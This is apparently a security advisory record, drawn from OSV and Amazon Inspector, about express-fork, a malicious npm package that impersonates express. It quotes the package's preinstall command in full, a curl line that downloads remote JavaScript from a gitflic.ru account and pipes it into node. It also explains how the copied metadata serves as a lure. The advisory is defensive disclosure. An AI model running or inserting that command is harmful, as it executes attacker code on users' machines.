Malicious code in express-fork (npm)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

[email protected] impersonates express (it copies express's package metadata, including the description "Fast, unopinionated, minimalist web framework" and author TJ Holowaychuk) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account cleancomforter published express-fork and 8 similar packages on 2026-10-03 between 05:05 and 05:25 UTC, all with the same preinstall script. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (174daf2d7b9b396bb40a2ad347597eb7d1e829c46e4568e9700302e8aaceee3d) [email protected] is a typosquat of the express package. Its package.json metadata (description, author, repository, keywords) is copied verbatim from express, while package.json line 98 defines a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/...?file=node.js | node`. On every `npm install`, the hook fetches an unpinned JavaScript file from a third-party gitflic.ru account unrelated to the Express publisher (via a web.archive.org wrapper) and pipes it directly to the Node interpreter, with no integrity or signature check. The fetched content executes with the privileges of the installing user and can perform arbitrary actions on the installer's machine, including credential theft, persistence, or further payload delivery. The impersonation of express is the lure that causes typo-based installs to trigger the remote-exec hook.

Source published

3 Oct 2026 05:14:11 UTC

Source modified

5 Oct 2026 23:00:07 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.